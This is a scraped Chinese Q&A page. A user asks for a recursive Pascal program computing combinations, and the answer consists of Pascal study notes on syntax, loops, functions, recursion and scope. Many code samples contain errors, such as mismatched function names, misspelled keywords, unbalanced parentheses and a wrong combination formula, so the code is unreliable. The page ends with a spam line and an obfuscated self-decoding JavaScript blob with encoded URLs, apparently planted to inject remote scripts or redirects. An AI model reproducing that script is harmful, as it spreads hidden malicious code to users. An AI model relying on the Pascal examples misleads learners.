计算并输出组合数Cmn……不会打……要求递归……谢谢

2025-01-21 21:51:08
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1、基本符号
A——Z;a——z;0——9;+,-,*,/,=,<>,<=,>=,<,>,(,),[,],,:=,,,;,.,:,..,',^
注意:pascal语言除了能使用以上规定的基本符号外,不得使用任何其它符号。

2、保留字
AND,ARRAY,BEGIN,CASE,CONST,DIV,DO,DIWNTO,ELSE,END,FILE,FOR,FUNTION,GOTO,IF,LABEL,MOD,NIL,OF,OR,PACKED,PROCEDURE,PROGRAM,RECORD,REPEAT,SET,THEN,TO,TYPE,UNTIL,VAR,WHILE,WITH。
注意:所起的文件名不能与保留字相同。

3、标识符
以字母打头的字母数字串,长度小于等于8。
标准标识符(共三十九个):
标准常量:
false,true,maxint
标准类型:
integer,real,char,boolean,text
标准文件:
input,output
标准函数:
abs,arctan,chr,cos,eof,eoln,exp,ln,odd,ord,ored,round,sin,sqr,
sqrt,succ,trunc
标准过程:
get,new,pack,page,put,read,readln,reset,rewrite,unpack,write, writeln

二、程序结构
1、由三大部分组成:程序首部,说明部分,语句部分。
PROGRAM 程序名(input,output);
解释
CONST
pi=3.14159;
VAR
r,l,s:real;
BEGIN
write('input r:');
read(r);
l:=2*pi*r;
write('l=',l,'s=',s);
END;
2、大量使用标点符号,保留字后不加标点符号(END除外)。

第二章、顺序结构程序设计

一、标准数据类型
1、实型(real)
小数表示法、指数表示法
2、整型(integer)
正、负整数和零
maxint=32767
pred:前导;succ:后继
[例]:pred(3)=2;succ(3)=4;
pred(true)=false;
succ(false)=true
3、字符型(char)
是指在两个单引号中的一个字符。
ord:取序数
[例]:ord('A')=65
4、布尔型(boolean)
false;true
用于布尔型的运算:NOT、AND、OR
ord(true)=1;ord(false)=0

二、常量和变量的定义
常量的定义:CONST
pi=3.14159;
blank=' ';
变量的定义:VAR
r,l,s:read;
cl:char;

三、表达式及赋值语句
[例]:b²-4ac 写成:sqt(b)-4*a*c
赋值:<变量>:=<表达式>

四、输入输出语句
1、输入语句:read(<变量表>);readln(<变量表>)
注:表达式里面变量与变量之间用逗号隔开;
readln表示下一个语句将从下一行开始操作;
输入时,整型或实型用空格或回车隔开,字符型之间无需分隔,一个接一
个输入。
2、输出语句:write(<输出表>);writeln(<输出表>)
注:对real或integer限定场宽:write('a=',a:2:0)

第三章、选择结构程序设计

一、if 语句
格式:IF<条件>
THEN<语句1>
ESLE<语句2>
注:1、ELSE与最近的并且未被配对的ELSE配对;
2、复合,如果THEN或ELSE带有多个语句,则要用BEGIN——END括起来。

二、CASE语句
格式:CASE <表达式> OF
<值表1>:<语句1>
<值表2>:<语句2>
……
<值表n>:<语句n>
[ELSE<语句>]
END
注:1、值表的三种表达方式:“1:”;“2,4,6:”;“10..100:”
2、CHAR,INTEGER,BOOLEAN有序

第四章、循环结构程序设计

一、FOR语句
格式:1、FOR <循环变量>:=<初值> TO <终值> DO <语句>;
2、FOR<循环变量>:=<终值> DOWNTO <初值> DO <语句>。
[例1]:输入10个数,求最大值、最小值、和、及平均值。

PROGRAM ten(input,output);
VAR
a,s,max,min,avg:real;
i:integer;
BEGIN
write('please input:');
read(a);
s:=a;
max:=a;
min:=a;
FOR i:=2 TO 10 DO
BEGIN
read(a);
s:=s+a;
IF a>max THEN
max:=a
ELSE
IF aEND;
avg:=s/i;
writeln(……);
END.

[例2]:求s=1!+2!+3!+……+10!
program sum_fac(input,output);
var
i,j,s,m:integer;
begin
s:=0:
for j:=1 to 10 do
begin
m:=1;
for j:=1 to i do
m:=m*j;
s:=s+m;
end;
write(……);
end;

二、while语句
格式:WHILE <条件> DO
<循环体>
[例1]:输入一串字符串,求第一个“,”前的大小写字母个数和其它字符个数。
program string(input,output);
var
ch:char;
c,s,o:integer;
begin
write(……);
read(ch);
c:=0;
s:=0;
o:=0;
while ch<>',' do
begin
if (ch>='A')and(ch<='Z') then
c:=c+1
else if (ch>='a')and(ch<='z') then
s:=s+1
else
o:=o+1;
read(ch);
end;
write(……);
end.

三、REPEAT语句
格式:REPEAT
<循环体>
UNTIL

[例]:以字符(char)的形式读入一实数,以实形(real)输出该数。

第五章、函数与过程程序设计
一、函数(包括标准函数和自定义函数)
1、函数的定义
格式:FUNCTION 函数名(<形参表>):返回值类型;
VAR
<变量说明>
BEGIN
<函数体>
END
[注]:1、形参表每个参数都写明其类型;
2、有且只有一个返回值,并且要将返回值赋值给函数名。
[例]:求五边形的面积
function area(a,b,c:real):real;
var
p:real;
begin
p:=(a+b+c)/2;
area:=sqrt(p*(p-a)*(p-b)*(p-c);
end;
2、函数的调用
1)、函数的调用必然出现在表达式中(等号的右边),不能以单独地在语句出现
2)、调用时,将每个实参传递给对应的形参
program ml_area(input,output);
var
l1,l2,l3,l4,l5,l6,l7,s:real;
function area(a,b,c:real):real;
var
p:real;
begin
p:=(a+b+c)/2;
area:=sqrt(p*(p-a)*(p-b)*(p-c);
end;
begin
write('input');
readln(l1,l2,l3,l4,l5,l6,l7);
s:=area(l1,l2,l6)+area(l2,l6,l7)+……;
writeln('s=',s:10:3);
end.

二、过程
格式:PROCEDURE<过程名>(<形式参数表>)
VAR
<说明部分>
BEGIN
<过程体>
END;

[例1]某过程的形参表为(var a,b:real;c,d:integer;var e:char);
主程序中有如下变量说明:x,y:real; m:integer; next:char;
则以下实参表中合法的有:(1、2、3)
1、(x,y,m+3,70,next)
2、(y,x,m,m,next)
3、(y,x,35,m DIV 10,next)
4、(m,x,30,10,next)
5、(x,y,m,10)
6、(35,0,y,m,10,next)
7、(x,y,m,m/10,next)
8、(A,B,30,10,next)

[例2]求程序输出的结果。
program ex(input,output);
var
x,y,z:integer;
procedure s(x:integer; var y:integer);
var
z:integer
begin
x:=5; y:=6; z:=7;
end;
begin
x:=1; y:=2; z:=3;
s(x,y);
writeln(x,y,z);
end.
输出结果:1 6 3

[例3]:求五个数中的最大值。
program max_in_5(input,output);
var
n1,n2,n3,n4,n5:integer;
procedure lagest_in_three(a,b,c:integer;var e:integer)
begin
e:=a;
if b>e then
e:=b;
if c>e then
e:=c;
end;
begin
write('……');
readln(n1,n2,n3,n4,n5);
lagest(n1,n2,n3,n1);
lagest(n1,n4,n5,n1);
write(n1);
end.

三、嵌套
[例]:计算 、
program Cmn(input,output);
function fax(x:integer):integer:
var
i:integer;
begin
fac:=1;
for i:=1 to x do
fac:=fac*i;
end;
function c(a,b:integer):real;
begin
c:=fac(a)/fac(b)*fac(a-b)
end;
begin
writeln('c(9,3)=',c(9,3));
writeln('c(8,5=',c(8,5));
end.

四、递归
函数或过程调用它本身,称为递归。
[例1]、用递归计算n!
program fac_n(input,output);
var
n:integer;
function fac(n:integer):integer;
begin
if n=1 then fac:=1
else fac:=n*fac(n-1);
end;
[例2]、用递归计算

1)、function power(a,b:integer):integer;
begin
if b=1 then power:=a
else power:=a*power(a,b-1);
end;
2)、procedure power(a,b:integer;var c:integer);
begin
if b=1 then c:=a
else power(a,b-1,c);
c:=a*c;
end;

[例3]、输入一串字符串(以‘.’结束)按逆顺输出
program revers(input,output);
procedure rever;
var
c:char;
begin
read(c);
if c<>'.' then rever;
write(c);
end;
begin
rever;
end.

五、标识符的作用域
1、全局变量和局部变量
1)、全局变量:在主程序中被说明,作用域:整个程序;
2)、局部变量:在子程序中被说明,作用域:主程序及其下级的程序。
2、子程序(function、precedure)的作用域
一个子程序可以调用它的下一级了程序,或可以调用在它之前定义的同级子程序。
[例]写出程序运行的结果。
program range(input,output);
var
x,y:integer;
procedure p1;
var
x,z:integer;
begin
x:=10; y:=y+1; z:=10;
writeln(x,y,z);
end;
begin
x:=1; y:=1;
writeln(x,y);
p1;
writeln(x,y,z);
end.

结果为:
(x y z)
1 1
10 2 10
1 2 (error)

3、在子程序中被改变值的变量可以回传的两种方法:
a、变量参数 procedure(var 变量名);
b、在上一级程序定义了的,且在下一级程序未被重新定义的。
[注]如果主程序的变量在子程序被重新定义,在子程序中主程序的变量被稳藏,在主程序中子程序的变量无效。
你的串号我已经记下,采纳后我会帮你制作

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 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